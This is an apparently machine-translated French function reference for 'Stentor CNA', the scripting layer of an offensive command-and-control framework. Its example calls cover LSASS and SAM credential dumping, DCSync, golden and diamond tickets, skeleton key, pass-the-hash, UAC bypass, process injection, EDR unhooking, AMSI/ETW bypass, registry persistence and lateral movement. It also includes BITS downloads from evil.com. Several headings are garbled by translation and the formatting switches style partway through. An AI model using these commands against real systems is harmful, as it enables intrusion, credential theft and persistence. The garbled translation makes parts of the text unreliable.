Référence des fonctions¶

Référence complète pour toutes les fonctions de script Stentor CNA. Cette page documente 310+ fonctions CNA et 46 fonctions intégrées du langage Sleep organisées par catégorie. Chaque entrée comprend la signature de la fonction, les descriptions des paramètres, la valeur de retour et un exemple d'utilisation.

Index des catégories¶

Beacon : exécution¶

bshell¶

bshell($bid, $cmd, [$cb]) -- Exécute une commande via cmd.exe /C.

Retours : $null

Envois : Tâche exec à implanter. Encapsule la commande dans cmd.exe /C.

bshell($1, "whoami /all");

brun¶

brun($bid, $cmd, [$cb]) -- Exécute une commande directement sans le wrapper cmd.exe.

Retours : $null

Envois : Tâche exec à implanter.

brun($1, "net user /domain");

bexécuter¶

bexecute($bid, $cmd, [$cb]) -- Exécute une commande sans capture de sortie.

Retours : $null

Envois : Tâche exec à implanter.

bexecute($1, "notepad.exe");

bpowershell¶

bpowershell($bid, $cmd, [$cb]) -- Exécutez une commande PowerShell via -EncodedCommand.

Retours : $null

Envois : tâche exec. Encode en UTF-16LE base64. Ajoute le script importé s'il est défini via bpowershell_import.

bpowershell($1, "Get-Process | Select-Object Name, Id");

bpowershell_import¶

bpowershell_import($bid, $script_content) -- Importez un script PowerShell à ajouter en préfixe aux appels bpowershell suivants.

Retours : $null

Remarque : Côté serveur uniquement. Ne met PAS une tâche en file d'attente. Le script importé est ajouté au début de tous les appels bpowershell et bpowerpick suivants.

$script = openf("/opt/scripts/PowerView.ps1");
bpowershell_import($1, readAll($script));
bpowershell($1, "Get-DomainUser -Identity admin");

bpowerpick¶

bpowerpick($bid, $cmd, [$cb]) -- Exécuter PowerShell via l'injection de shellcode CLR (PowerShell non géré).

Retours : $null

Dépêches : tâche inject avec shellcode CLR. Revient à PowerShell codé si le relais n'est pas disponible.

bpowerpick($1, "Get-NetComputer -Ping");

bexecute_assembly¶

bexecute_assembly($bid, $assembly, [$args], [$cb]) -- Exécute un assembly .NET en mémoire.

Retours : $null

Envois : tâche exec_asm. Convertit l'assembly en shellcode via un relais.

bexecute_assembly($1, "/opt/tools/Seatbelt.exe", "-group=all");

binline_execute¶

binline_execute($bid, $bof_data, $args, [$cb]) -- Exécute un fichier objet beacon (BOF) en ligne.

Retours : $null

Envois : tâche bof avec point d'entrée go.

$bof = readb(openf("/opt/bofs/whoami.o"), -1);
binline_execute($1, $bof, $null);

bext_execute¶

bext_execute($bid, $ext_name, [$args], [$cb]) -- Exécute une extension installée sur un beacon.

Retours : $null

Envois : tâche extension.

bext_execute($1, "nanodump", "--write C:\\temp\\lsass.dmp");

liste_bext¶

bext_list() -- Liste les extensions installées.

Renvoie : @() -- Tableau de veille vide (stub). La liste des extensions se fait via l'API REST.

@exts = bext_list();

Beacon : Opérations sur les fichiers¶

télécharger¶

bupload($bid, $path, [$cb]) -- Téléchargez un fichier sur le beacon.

Retours : $null

Envois : tâche upload.

bupload($1, "/opt/payloads/implant.exe");

bupload_raw¶

bupload_raw($bid, $remote_path, $data, [$cb]) -- Téléchargez des données brutes vers un chemin distant.

Retours : $null

Envois : tâche upload avec contenu brut.

bupload_raw($1, "C:\\temp\\config.txt", "key=value\n");

télécharger¶

bdownload($bid, $path, [$cb]) -- Téléchargez un fichier à partir du beacon.

Retours : $null

Envois : tâche download.

bdownload($1, "C:\\Users\\Public\\secrets.txt");

bdownload_cancel¶

bdownload_cancel($bid, [$pattern]) -- Annuler un téléchargement de fichier en cours.

Retours : $null

bdownload_cancel($1, "*.zip");

bannuler¶

bcancel($bid, [$pattern]) -- Annuler les téléchargements en attente pour un beacon.

Retours : $null

bcancel($1);

brm¶

brm($bid, $path, [$cb]) -- Supprime un fichier sur la cible.

Retours : $null

Envois : tâche fileops avec l'opération rm.

brm($1, "C:\\temp\\payload.exe");

répbmk¶

bmkdir($bid, $path, [$cb]) -- Créez un répertoire sur la cible.

Retours : $null

Envois : tâche fileops avec l'opération mkdir.

bmkdir($1, "C:\\temp\\staging");

bcp¶

bcp($bid, $src, $dst, [$cb]) -- Copie un fichier sur la cible.

Retours : $null

Envois : tâche fileops avec l'opération cp.

bcp($1, "C:\\Windows\\System32\\cmd.exe", "C:\\temp\\svc.exe");

BMW¶

bmv($bid, $src, $dst, [$cb]) -- Déplacer un fichier sur la cible.

Retours : $null

Envois : tâche fileops avec l'opération mv.

bmv($1, "C:\\temp\\old.txt", "C:\\temp\\new.txt");

lecteurs b¶

bdrives($bid, [$cb]) -- Liste les lecteurs sur la cible.

Retours : $null

Envois : tâche fileops avec l'opération drives.

bdrives($1);

bls¶

bls($bid, $path, [$cb]) -- Liste le contenu du répertoire.

Retours : $null

Envois : tâche fileops avec l'opération ls.

bls($1, "C:\\Users\\Public");

Beacon : Gestion des processus¶

bps¶

bps($bid, [$cb]) -- Liste les processus en cours d'exécution.

Retours : $null

Envois : tâche ps.

bps($1);

bkill¶

bkill($bid, $pid, [$cb]) -- Tue un processus par PID.

Retours : $null

Envois : tâche kill.

bkill($1, 4592);

bjobs¶

bjobs($bid, [$cb]) -- Liste les tâches post-exploitation actives.

Retours : $null

Envois : tâche jobs.

bjobs($1);

bjobkill¶

bjobkill($bid, $job_id, [$cb]) -- Supprimer une tâche spécifique.

Retours : $null

Envois : tâche jobkill.

bjobkill($1, "3");

Beacon : Configuration¶

dormir¶

bsleep($bid, $interval, [$jitter]) -- Définit l'intervalle de veille et la gigue du beacon.

Retours : $null

Remarque : Mise à jour du registre uniquement. Beacon récupère de nouvelles valeurs lors du prochain enregistrement.

bsleep($1, 60, 20);  # Sleep 60s with 20% jitter

bsleepu¶

bsleepu($bid, $sleep_string) -- Définissez le sommeil à l'aide d'une chaîne de durée lisible par l'homme.

Retours : $null

bsleepu($1, "5m 30s 25j");  # 5 min 30s, 25% jitter

bspawnto¶

bspawnto($bid, $arch, $path) -- Définit le processus sacrificiel fork-and-run.

Retours : $null

bspawnto($1, "x64", "C:\\Windows\\System32\\dllhost.exe");

bargue¶

bargue($bid, $action, [$process], [$fake_args]) -- Gérer les règles d'usurpation d'argument.

Retours : $null

Envois : tâche argue.

bargue($1, "add", "cmd.exe", "/C echo hello");
bargue($1, "list");
bargue($1, "remove", "cmd.exe");

bargue_add¶

bargue_add($bid, $process, $fake_args) -- Ajoute une règle d'usurpation d'argument.

Retours : $null

bargue_add($1, "powershell.exe", "-Version 5.1");

liste_bargue¶

bargue_list($bid) -- Répertorie toutes les règles d'usurpation d'argument.

Retours : $null

bargue_list($1);

bargue_remove¶

bargue_remove($bid, $process) -- Supprime une règle d'usurpation d'argument.

Retours : $null

bargue_remove($1, "powershell.exe");

bppid¶

bppid($bid, $pid) -- Définir la cible d'usurpation d'identité PPID.

Retours : $null

bppid($1, 1234);  # Spoof PPID to 1234
bppid($1, 0);     # Disable PPID spoofing

bblockdlls¶

bblockdlls($bid, $enabled) -- Basculez la stratégie BlockDLLs pour les opérations fork-and-run.

Retours : $null

bblockdlls($1, true);  # Block non-Microsoft DLLs

mode b¶

bmode($bid, $mode) -- Modifie le mode de transport DNS du beacon.

Retours : $null

Envois : tâche transport_mode.

bmode($1, "dns-txt");

sortie¶

bexit($bid) -- Demandez au beacon de se terminer.

Retours : $null

Envois : tâche exit.

bexit($1);

bcheckin¶

bcheckin($bid) -- Force le beacon à appeler chez elle et à renvoyer les métadonnées.

Retours : $null

Envois : tâche checkin.

bcheckin($1);

cligner des yeux¶

blink($bid, $target, [$pipename]) -- Connectez-vous à un beacon P2P via un canal nommé SMB.

Retours : $null

Envois : tâche p2p_connect.

blink($1, "DC01");
blink($1, "DC01", "\\\\.\\pipe\\custom");

lien de chignon¶

bunlink($bid, $child_beacon_id) -- Déconnectez un lien de beacon P2P enfant.

Retours : $null

Envois : tâche p2p_unlink.

bunlink($1, $child_id);

pause¶

bpause($bid, $ms) -- Mettre en file d'attente une tâche de pause unique.

Retours : $null

Envois : tâche pause.

bpause($1, 5000);  # Pause 5 seconds

bsyscall_method¶

bsyscall_method($bid, $method) -- Définit la méthode d'invocation d'appel système du beacon.

Retours : $null

bsyscall_method($1, "Indirect");

bbeacon_config¶

bbeacon_config($bid) -- Récupère la configuration du beacon sous forme de hachage.

Renvoie : %hash avec les clés : sleep, jitter, arch, os, hostname, username, ip, pid, id, syscall_method.

%config = bbeacon_config($1);
println("Sleep: " . %config["sleep"]);

bbeacon_gate¶

bbeacon_gate($bid, $enabled) -- Basculez BeaconGate (appels système indirects sur les API sensibles).

Retours : $null

bbeacon_gate($1, true);

Beacon : informations d'identification¶

bhashdump¶

bhashdump($bid, [$cb]) -- Vide les hachages SAM de la cible.

Retours : $null

Envois : tâche creds avec la méthode sam_dump.

bhashdump($1);

blogonpasswords¶

blogonpasswords($bid, [$cb]) -- Vider les mots de passe de connexion de LSASS.

Retours : $null

Envois : tâche creds avec la méthode lsass.

blogonpasswords($1);

bdcsync¶

bdcsync($bid, $domain, $user, [$cb]) -- Effectuer une attaque de réplication DCSync.

Retours : $null

Envois : tâche creds avec la méthode dcsync.

bdcsync($1, "corp.local", "krbtgt");

bmimikatz¶

bmimikatz($bid, $command, [$cb]) -- Exécutez une commande Mimikatz.

Retours : $null

Envois : tâche creds avec la méthode lsass.

bmimikatz($1, "sekurlsa::logonpasswords");

bmimikatz_small¶

bmimikatz_small($bid, $command, [$cb]) -- Exécutez Mimikatz en cours de processus (encombrement réduit).

Retours : $null

Envois : tâche creds avec la méthode mimikatz_small.

bmimikatz_small($1, "coffee");

rôti de bœuf¶

bkerberoast($bid, [$domain, $user, $password], [$cb]) -- Effectuer une attaque Kerberoasting.

Retours : $null

Envois : tâche creds avec la méthode kerberoast.

bkerberoast($1);                                    # SSPI mode
bkerberoast($1, "corp.local", "svc_sql", "Pass1");  # Explicit creds

bkerberos_ccache_use¶

bkerberos_ccache_use($bid, $ccache_path, [$cb]) -- Importez un fichier ccache pour l'authentification Kerberos.

Retours : $null

bkerberos_ccache_use($1, "C:\\temp\\krb5cc_admin");

bkerberos_ticket_purge¶

bkerberos_ticket_purge($bid, [$cb]) -- Purger tous les tickets Kerberos.

Retours : $null

bkerberos_ticket_purge($1);

bkerberos_ticket_use¶

bkerberos_ticket_use($bid, $ticket_data, [$cb]) -- Applique un ticket Kerberos codé en base64.

Retours : $null

bkerberos_ticket_use($1, $b64_ticket);

bpassthehash¶

bpassthehash($bid, $domain, $user, $ntlm_hash, [$cb]) -- Attaque Pass-the-Hash.

Retours : $null

Envois : tâche identity avec la technique pth.

bpassthehash($1, "CORP", "admin", "aad3b435b...");

utilisateur de blog¶

bloginuser($bid, $domain, $user, $password, [$cb]) -- Connectez-vous avec des informations d'identification explicites.

Retours : $null

Envois : tâche identity avec la technique login_user.

bloginuser($1, "CORP", "admin", "Password123!");

bbug d'imprimante¶

bprinterbug($bid, $target, $listener, [$domain_user, $password], [$cb]) -- Déclencher la coercition PrinterBug (MS-RPRN).

Retours : $null

Envois : tâche coerce avec la méthode printerbug.

bprinterbug($1, "DC01.corp.local", "attacker.local");

bpetitpotam¶

bpetitpotam($bid, $target, $listener, [$domain_user, $password], [$cb]) -- Déclenche la coercition de PetitPotam (MS-EFSRPC).

Retours : $null

Envois : tâche coerce avec la méthode petitpotam.

bpetitpotam($1, "DC01", "attacker.local");

bfind_delegation¶

bfind_delegation($bid, [$dc, $domain, $cb]) -- Énumérer les configurations de délégation via LDAP.

Retours : $null

Envois : tâche discovery avec la méthode find_delegation.

bfind_delegation($1);

bticket_dump¶

bticket_dump($bid, [$cb]) -- Extrayez les TGT du cache de tickets LSASS.

Retours : $null

Envois : tâche kerberos avec la méthode ticket_dump.

bticket_dump($1);

bs4u¶

bs4u($bid, $impersonate_user, $target_spn, $svc_user, $svc_password, $domain, [$dc, $cb]) -- Abus de délégation contrainte par S4U2Self + S4U2Proxy.

Retours : $null

bs4u($1, "admin", "cifs/DC01", "svc_sql", "Pass1!", "corp.local");

brbcd¶

brbcd($bid, $target, [$impersonate_user, $domain, $dc, $cb]) -- Chaîne d'attaque RBCD.

Retours : $null

brbcd($1, "WEB01");

bgpo¶

bgpo($bid, $gpo_name, $command, [$arguments, $domain, $dc, $cb]) -- Abus de GPO pour l'exécution de code à l'échelle du domaine.

Retours : $null

bgpo($1, "Default Domain Policy", "C:\\temp\\beacon.exe");

bdcombre¶

bdcshadow($bid, $target_dn, $attribute, $value, [$domain, $dc, $cb]) -- Attaque DCShadow.

Retours : $null

bdcshadow($1, "CN=admin,CN=Users,DC=corp,DC=local", "description", "owned");

bdiamondticket¶

bdiamondticket($bid, $domain, $domain_sid, $dc, $krbtgt_key, [$impersonate, $cb]) -- Forgez un ticket de diamant.

Retours : $null

bdiamondticket($1, "corp.local", "S-1-5-21-...", "DC01", $krbtgt_key, "admin");

billet bsapphire¶

bsapphireticket($bid, $domain, $dc, $krbtgt_key, $impersonate, [$cb]) -- Forgez un ticket saphir.

Retours : $null

bsapphireticket($1, "corp.local", "DC01", $key, "admin");

clé squelette¶

bskeletonkey($bid, [$password, $cb]) -- Injectez la clé squelette dans LSASS.

Retours : $null

bskeletonkey($1);

baffe¶

blaps($bid, [$target, $cb]) -- Lire les mots de passe LAPS via LDAP.

Retours : $null

blaps($1);            # Dump all LAPS passwords
blaps($1, "WEB01$");  # Specific target

bgmsa¶

bgmsa($bid, [$target, $cb]) -- Lire les mots de passe gMSA via LDAP.

Retours : $null

bgmsa($1);

btrustenum¶

btrustenum($bid, [$cb]) -- Énumérer les approbations AD.

Retours : $null

btrustenum($1);

bgoldenticket¶

bgoldenticket($bid, $domain, $domain_sid, $dc, $krbtgt_key, [$extra_sids, $cb]) -- Forgez un ticket d'or.

Retours : $null

bgoldenticket($1, "corp.local", "S-1-5-21-...", "DC01", $key);

histoire de bsid¶

bsidhistory($bid, $target, $sids, [$mode, $cb]) -- Injecter les attributs de l'historique SID.

Retours : $null

bsidhistory($1, "admin", "S-1-5-21-...-519");

Beacon : injection¶

binject¶

binject($bid, $pid, $listener, $arch, [$cb]) -- Injecte un beacon dans un processus en cours d'exécution.

Retours : $null

Envois : tâche inject. Génère le shellcode du beacon via un relais.

binject($1, 4592, "HTTPS", "x64");

bshinject¶

bshinject($bid, $pid, $arch, $shellcode, [$cb]) -- Injecter du shellcode brut dans un processus.

Retours : $null

Envois : tâche inject avec la méthode shinject.

bshinject($1, 4592, "x64", $shellcode);

bshspawn¶

bshspawn($bid, $arch, $shellcode, [$cb]) -- Génère un processus sacrificiel et injecte du shellcode (fork-and-run).

Retours : $null

Envois : tâche shspawn.

bshspawn($1, "x64", $shellcode);

bdllspawn¶

bdllspawn($bid, $dll, $arg, $desc, $timeout, $arch, [$cb]) -- Exécution de la DLL Fork-and-run.

Retours : $null

Envois : tâche inject avec la méthode dllspawn.

bdllspawn($1, $dll_bytes, "", "mimikatz", 30, "x64");

bdllinject¶

bdllinject($bid, $pid, $dll_path, [$cb]) -- Injectez une DLL dans un processus par chemin.

Retours : $null

Envois : tâche inject avec la méthode dllinject.

bdllinject($1, 4592, "C:\\temp\\evil.dll");

bdllload¶

bdllload($bid, $pid, $path, [$cb]) -- Chargez une DLL via LoadLibrary.

Retours : $null

Envois : tâche interop avec la méthode dllload.

bdllload($1, 4592, "C:\\temp\\helper.dll");

Beacon : Emplois¶

bjoblog¶

bjoblog($bid, $message) -- Diffusez la sortie du travail vers la console.

Retours : $null

Remarque : Console uniquement, aucune tâche mise en file d'attente.

bjoblog($1, "Keylogger captured 42 keystrokes");

bjob_send_data¶

bjob_send_data($bid, $job_id, $data, [$cb]) -- Envoie des données à une tâche en cours d'exécution.

Retours : $null

Envois : tâche postex avec la méthode job_send_data.

bjob_send_data($1, "3", "input data");

bjoberror¶

bjoberror($bid, $message) -- Erreur de tâche de diffusion vers la console.

Retours : $null

Remarque : Console uniquement, aucune tâche mise en file d'attente.

bjoberror($1, "Job failed: access denied");

Beacon : Mouvement latéral¶

sauter¶

bjump($bid, $method, $target, $listener, [$cb]) -- Mouvement latéral avec génération de payload.

Retours : $null

Envois : tâche lateral. Génère un payload via un relais.

bjump($1, "psexec64", "DC01", "HTTPS");

bremote_exec¶

bremote_exec($bid, $method, $target, $command, [$cb]) -- Exécuter la commande sur l'hôte distant.

Retours : $null

Envois : tâche lateral.

bremote_exec($1, "wmi", "DC01", "whoami");

bpsexec¶

bpsexec($bid, $target, $listener, $service_name, [$cb]) -- Mouvement latéral basé sur le service.

Retours : $null

Envois : tâche lateral. Génère le service EXE via relais.

bpsexec($1, "DC01", "HTTPS", "svchost_update");

bwmi¶

bwmi($bid, $target, $command, [$cb]) -- Exécution de commandes à distance WMI.

Retours : $null

bwmi($1, "DC01", "C:\\temp\\beacon.exe");

bwinrm¶

bwinrm($bid, $target, $command, [$cb]) -- Exécution de commandes à distance WinRM.

Retours : $null

bwinrm($1, "DC01", "whoami");

bpsexec_commande¶

bpsexec_command($bid, $target, $command, [$cb]) -- Exécution de la commande PsExec (pas de payload).

Retours : $null

bpsexec_command($1, "DC01", "net user admin /domain");

Beacon : Réseau¶

bportscan¶

bportscan($bid, $targets, $ports, $method, $maxconn, [$cb]) -- Cibles d'analyse des ports.

Retours : $null

Envois : tâche discovery avec la méthode portscan.

bportscan($1, "10.10.10.0/24", "445,3389,5985", "arp", 1024);

bnet¶

bnet($bid, $command, [$arg1], [$arg2]) -- Commandes d'énumération de réseau.

Retours : $null

Envois : tâche discovery avec la méthode net_<command>.

bnet($1, "domain");
bnet($1, "share", "DC01");
bnet($1, "group", "DC01", "Domain Admins");

bsocks_start¶

bsocks_start($bid, $port, [$user, $pass]) -- Démarrez un proxy SOCKS.

Retours : $null

Remarque : Opération côté serveur. Aucune tâche de beacon n'a été mise en file d'attente.

bsocks_start($1, 1080);
bsocks_start($1, 1080, "user", "pass");

bsocks_stop¶

bsocks_stop($bid) -- Arrêtez le proxy SOCKS.

Retours : $null

bsocks_stop($1);

chaussettes¶

bsocks($bid, $port, [$user, $pass]) -- Alias pour bsocks_start.

bsocks($1, 1080);

brportfwd¶

brportfwd($bid, $bind_port, $dest_host, $dest_port) -- Inversion du port vers l'avant.

Retours : $null

Envois : tâche rportfwd.

brportfwd($1, 8443, "127.0.0.1", 443);

brportfwd_stop¶

brportfwd_stop($bid, $bind_port) -- Arrête un transfert de port inversé.

Retours : $null

brportfwd_stop($1, 8443);

brportfwd_local¶

brportfwd_local($bid, $bind_port, $dest_host, $dest_port, [$cb]) -- Transfert du port inverse local.

Retours : $null

brportfwd_local($1, 8080, "10.10.10.5", 80);

bipconfig¶

bipconfig($bid, [$cb]) -- Interroger la configuration du réseau.

Retours : $null

Envois : tâche discovery avec la méthode ipconfig.

bipconfig($1);

bconnecter¶

bconnect($bid, $host, $port, [$cb]) -- Connexion de beacon TCP P2P.

Retours : $null

Envois : tâche p2p_connect avec le protocole tcp.

bconnect($1, "10.10.10.5", 4444);

bcovertvpn¶

bcovertvpn($bid, $interface, [$cb]) -- VPN caché (pas encore pris en charge).

Remarque : Renvoie un message d'erreur. Utilisez plutôt brportfwd.

bspunnel¶

bspunnel($bid, $target, $port, $listener, [$cb]) -- Tunnel de transfert de port inversé (pas encore pris en charge).

Remarque : Renvoie un message d'erreur. Utilisez plutôt brportfwd.

bspunnel_local¶

bspunnel_local($bid, $target, $port, $listener, [$cb]) -- Tunnel de transfert de port inverse local (pas encore pris en charge).

Remarque : Renvoie un message d'erreur. Utilisez plutôt brportfwd_local.

Beacon : Sortie¶

tâche secondaire¶

btask($bid, $description, [$tactic]) -- Afficher la description de la tâche dans la console.

Retours : $null

Remarque : Console uniquement, aucune tâche mise en file d'attente.

btask($1, "Dumping SAM hashes", "T1003.002");

binput¶

binput($bid, $message) -- Afficher le message d'entrée dans la console.

Retours : $null

binput($1, "hashdump");

bloguer¶

blog($bid, $message) -- Afficher le message de sortie dans la console.

Retours : $null

blog($1, "Administrator:500:aad3...:31d6...");

erreur¶

berror($bid, $message) -- Afficher un message d'erreur dans la console.

Retours : $null

berror($1, "Access denied - need SYSTEM privileges");

Beacon : PowerShell¶

bpsinjecter¶

bpsinject($bid, $pid, $command, [$cb]) -- Injectez PowerShell dans un processus spécifique.

Retours : $null

Envois : tâche inject avec la technique psinject.

bpsinject($1, 4592, "Get-Process");

bpowershell_import_clear¶

bpowershell_import_clear($bid) -- Effacez le script PowerShell importé.

Retours : $null

bpowershell_import_clear($1);

Beacon : élévation de privilèges¶

système bget¶

bgetsystem($bid, [$cb]) -- Élévation vers SYSTEM via l'usurpation d'identité de canal nommé.

Retours : $null

Envois : tâche privesc avec la méthode getsystem. Nécessite une haute intégrité.

bgetsystem($1);

élever¶

belevate($bid, $exploit, $listener, [$cb]) -- Exécutez un exploit de contournement UAC.

Retours : $null

Envois : tâche privesc. Génère un payload EXE via un relais.

belevate($1, "uac-cmstplua", "HTTPS");

brunasadmin¶

brunasadmin($bid, $exploit, $command, [$cb]) -- Exécutez une commande avec des privilèges d'administrateur via le contournement UAC.

Retours : $null

Envois : tâche privesc avec la méthode runasadmin.

brunasadmin($1, "uac-fodhelper", "C:\\temp\\beacon.exe");

bspawnas¶

bspawnas($bid, $domain, $user, $password, $listener, [$cb]) -- Génère un beacon en tant qu'autre utilisateur.

Retours : $null

Envois : tâche identity avec la méthode spawnas. Génère un shellcode via relais.

bspawnas($1, "CORP", "admin", "Pass1!", "HTTPS");

brunes¶

brunas($bid, $domain, $user, $password, $command, [$cb]) -- Exécute une commande en tant qu'autre utilisateur.

Retours : $null

Envois : tâche identity avec la méthode runas.

brunas($1, "CORP", "admin", "Pass1!", "whoami /all");

Beacon : file d'attente¶

bclair¶

bclear($bid) -- Effacer toutes les tâches en attente pour un beacon.

Retours : $null

Remarque : Opération de file d'attente côté serveur.

bclear($1);

pipe_à_pain¶

bread_pipe($bid, $pipename, [$cb]) -- Lecture à partir d'un canal nommé.

Retours : $null

Envois : tâche postex avec la méthode read_pipe.

bread_pipe($1, "\\\\.\\pipe\\custom_pipe");

blog2¶

blog2($bid, $message) -- Afficher la sortie secondaire dans la console.

Retours : $null

Remarque : Console uniquement (tapez output2). Distinct de blog (tapez output).

blog2($1, "Additional details...");

Beacon : Reconnaissance¶

bscreenshot($1);

bscreenwatch($1, 30);

bkeylogger($1);

bchromiumdump($1);

bdesktop($1);

bnote($1, "DA beacon on DC01");

bcd($1, "C:\\Users\\admin\\Desktop");

bpwd($1);

bsetenv($1, "PATH", "C:\\temp;%PATH%");

btimestomp($1, "C:\\temp\\evil.exe", "C:\\Windows\\System32\\svchost.exe");

bchmod($1, "/tmp/payload", "755");

bldap_query($1, "DC=corp,DC=local", "(objectClass=user)", "sAMAccountName mail");

Envois : tâche evasion avec la méthode edr_query.

```sleep
bedr_query($1);
```

### bedr_unhook

`bedr_unhook($bid, [$strategy], [$function], [$dll], [$cb])` -- Supprimez les crochets EDR.

| Paramètre | Type | Description |
|-----------|------|-------------|
| `$strategy` | chaîne | `"knowndlls"` (par défaut), `"remap"`, `"direct"` |
| `$function` | chaîne | Fonction spécifique en option |
| `$dll` | chaîne | DLL cible (par défaut : `ntdll.dll`) |

```sleep
bedr_unhook($1, "knowndlls");
```

### bhwbp

`bhwbp($bid, $target, [$enable], [$cb])` -- Évasion du point d'arrêt matériel (contournement AMSI/ETW).

| Paramètre | Type | Description |
|-----------|------|-------------|
| `$target` | chaîne | Fonction cible (par exemple, `"amsi"`, `"etw"`) |
| `$enable` | bool | `true` pour activer (par défaut), `false` pour effacer |

```sleep
bhwbp($1, "amsi");
bhwbp($1, "etw", false);
```

### bsleep_config

`bsleep_config($bid, $setting, $value, [$cb])` -- Contrôlez les options de masquage du sommeil.

| Paramètre | Type | Description |
|-----------|------|-------------|
| `$setting` | chaîne | `"sleep_mask"`, `"heap_mask"`, `"stack_spoof"`, `"method"`, `"stack_depth"` |
| `$value` | chaîne | `"on"`/`"off"` pour les bascules, le nom de la méthode ou le numéro de profondeur |

```sleep
bsleep_config($1, "sleep_mask", "on");
bsleep_config($1, "method", "WaitForSingleObject");
```

### bprintscreen

`bprintscreen($bid, [$cb])` -- Prendre une capture d'écran via l'API PrintScreen.

```sleep
bprintscreen($1);
```

### bclipboard

`bclipboard($bid, [$cb])` -- Récupère le contenu du presse-papiers.

```sleep
bclipboard($1);
```

### navigateur

`bbrowser($bid, [$cb])` -- Vider les informations d'identification du navigateur et les cookies.

```sleep
bbrowser($1);
```

### bbrowserpivot

`bbrowserpivot($bid, $pid, $port, [$cb])` -- Démarre le pivot du navigateur.

| Paramètre | Type | Description |
|-----------|------|-------------|
| `$pid` | int | PID du processus du navigateur |
| `$port` | int | Port proxy local |

```sleep
bbrowserpivot($1, 8752, 8080);
```

### bbrowserpivot_stop

`bbrowserpivot_stop($bid)` -- Arrête le pivot du navigateur.

```sleep
bbrowserpivot_stop($1);
```

### bbits_download

`bbits_download($bid, $url, $path, [$cb])` -- Tâche de téléchargement BITS.

```sleep
bbits_download($1, "http://evil.com/payload.exe", "C:\\temp\\update.exe");
```

### bbits_persist

`bbits_persist($bid, $url, $path, $command, [$cb])` -- Travail BITS persistant avec commande de notification.

```sleep
bbits_persist($1, "http://evil.com/a.exe", "C:\\temp\\a.exe", "C:\\temp\\a.exe");
```

### liste_bbits

`bbits_list($bid, [$cb])` -- Énumérer les tâches BITS actives.

```sleep
bbits_list($1);
```

### bbits_cancel

`bbits_cancel($bid, [$job_name], [$cb])` -- Annuler les tâches BITS.

```sleep
bbits_cancel($1);
bbits_cancel($1, "MyJob");
```

Beacon : registre et services¶

breg_query¶

breg_query($bid, $hive, $path, [$cb]) -- Interroge une clé de registre.

Retours : $null

Envois : tâche registry avec l'opération query.

breg_query($1, "HKLM", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");

breg_queryv¶

breg_queryv($bid, $hive, $path, $name, [$cb]) -- Interroge une valeur de registre spécifique.

breg_queryv($1, "HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "ProductName");

breg_set¶

breg_set($bid, $hive, $path, $name, $type, $value, [$cb]) -- Définit une valeur de registre.

breg_set($1, "HKCU", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "Updater", "REG_SZ", "C:\\temp\\svc.exe");

breg_delete¶

breg_delete($bid, $hive, $path, [$name], [$cb]) -- Supprime une clé ou une valeur de registre.

breg_delete($1, "HKCU", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "Updater");

bservice_register¶

bservice_register($bid, $name, $display, $exe, [$cb]) -- Enregistrez un service Windows.

bservice_register($1, "UpdateSvc", "Windows Update Helper", "C:\\temp\\svc.exe");

bservice_delete¶

bservice_delete($bid, $name, [$cb]) -- Supprimer un service Windows.

bservice_delete($1, "UpdateSvc");

Beacon : apparition et identité¶

bspawn¶

bspawn($bid, $listener, [$arch], [$cb]) -- Génère une nouvelle session de beacon.

Envois : tâche spawn. Génère un shellcode via relais.

bspawn($1, "HTTPS");
bspawn($1, "HTTPS", "x86");

bspawnu¶

bspawnu($bid, $pid, $listener, [$cb]) -- Beacon de génération sous un autre processus (usurpation d'identité PPID).

bspawnu($1, 1234, "HTTPS");

brun¶

brunu($bid, $pid, $command, [$cb]) -- Exécuter la commande dans le contexte d'un autre processus.

brunu($1, 1234, "whoami");

belevate_command¶

belevate_command($bid, $exploit, $command, [$cb]) -- Élevez et exécutez une commande.

belevate_command($1, "uac-cmstplua", "C:\\temp\\beacon.exe");

Beacon : SSH¶

putain¶

bssh($bid, $host, $port, $user, $pass, [$cb]) -- Lancez une session SSH.

bssh($1, "10.10.10.5", 22, "root", "<relay-password>");

bssh_commande¶

bssh_command($bid, $command, [$cb]) -- Exécuter la commande dans la session SSH.

bssh_command($1, "id && uname -a");

bssh_key¶

bssh_key($bid, $host, $port, $user, $key_path, [$cb]) -- SSH avec authentification par clé.

bssh_key($1, "10.10.10.5", 22, "root", "/tmp/id_rsa");

bsudo¶

bsudo($bid, $password, $command, [$cb]) -- Exécutez la commande avec sudo.

bsudo($1, "password", "cat /etc/shadow");

Beacon : Jeton¶

bsteal_token¶

bsteal_token($bid, $pid, [$cb]) -- Voler un jeton à un processus.

Envois : tâche identity avec la technique steal_token.

bsteal_token($1, 4592);

bmake_token¶

bmake_token($bid, $domain, $user, $password, [$cb]) -- Créez un jeton avec des informations d'identification.

Envois : tâche identity avec la technique make_token.

bmake_token($1, "CORP", "admin", "Password1!");

bgetuid¶

bgetuid($bid, [$cb]) -- Obtenez l'identité actuelle de l'utilisateur.

bgetuid($1);

brev2self¶

brev2self($bid, [$cb]) -- Revenir au jeton d'origine.

brev2self($1);

bgetprivs¶

bgetprivs($bid, [$cb]) -- Privilèges du jeton de requête.

bgetprivs($1);

btoken_store_steal¶

btoken_store_steal($bid, $pid, [$cb]) -- Volez et stockez un jeton.

btoken_store_steal($1, 4592);

btoken_store_use¶

btoken_store_use($bid, $token_id, [$cb]) -- Applique un jeton stocké.

btoken_store_use($1, 0);

btoken_store_remove¶

btoken_store_remove($bid, $token_id, [$cb]) -- Supprime un jeton stocké.

btoken_store_remove($1, 0);

btoken_store_show¶

btoken_store_show($bid, [$cb]) -- Répertorie tous les jetons stockés.

btoken_store_show($1);

btoken_store_remove_all¶

btoken_store_remove_all($bid, [$cb]) -- Efface tous les jetons stockés.

btoken_store_remove_all($1);

btoken_store_steal_and_use¶

btoken_store_steal_and_use($bid, $pid, [$cb]) -- Volez, stockez et appliquez immédiatement un jeton.

btoken_store_steal_and_use($1, 4592);

Beacon : Données / Informations¶

données b¶

bdata($bid) -- Récupère toutes les métadonnées du beacon sous forme de hachage.

Renvoie : %hash avec les clés : id, computer, user, internal, os, barch, pid, note, sleep, jitter, last, alive.

%info = bdata($1);
println("Host: " . %info["computer"] . " User: " . %info["user"]);

bininfo¶

binfo($bid, $key) -- Obtenez un champ de métadonnées de beacon spécifique.

Renvoie : La valeur du champ, ou $null si elle n'est pas trouvée.

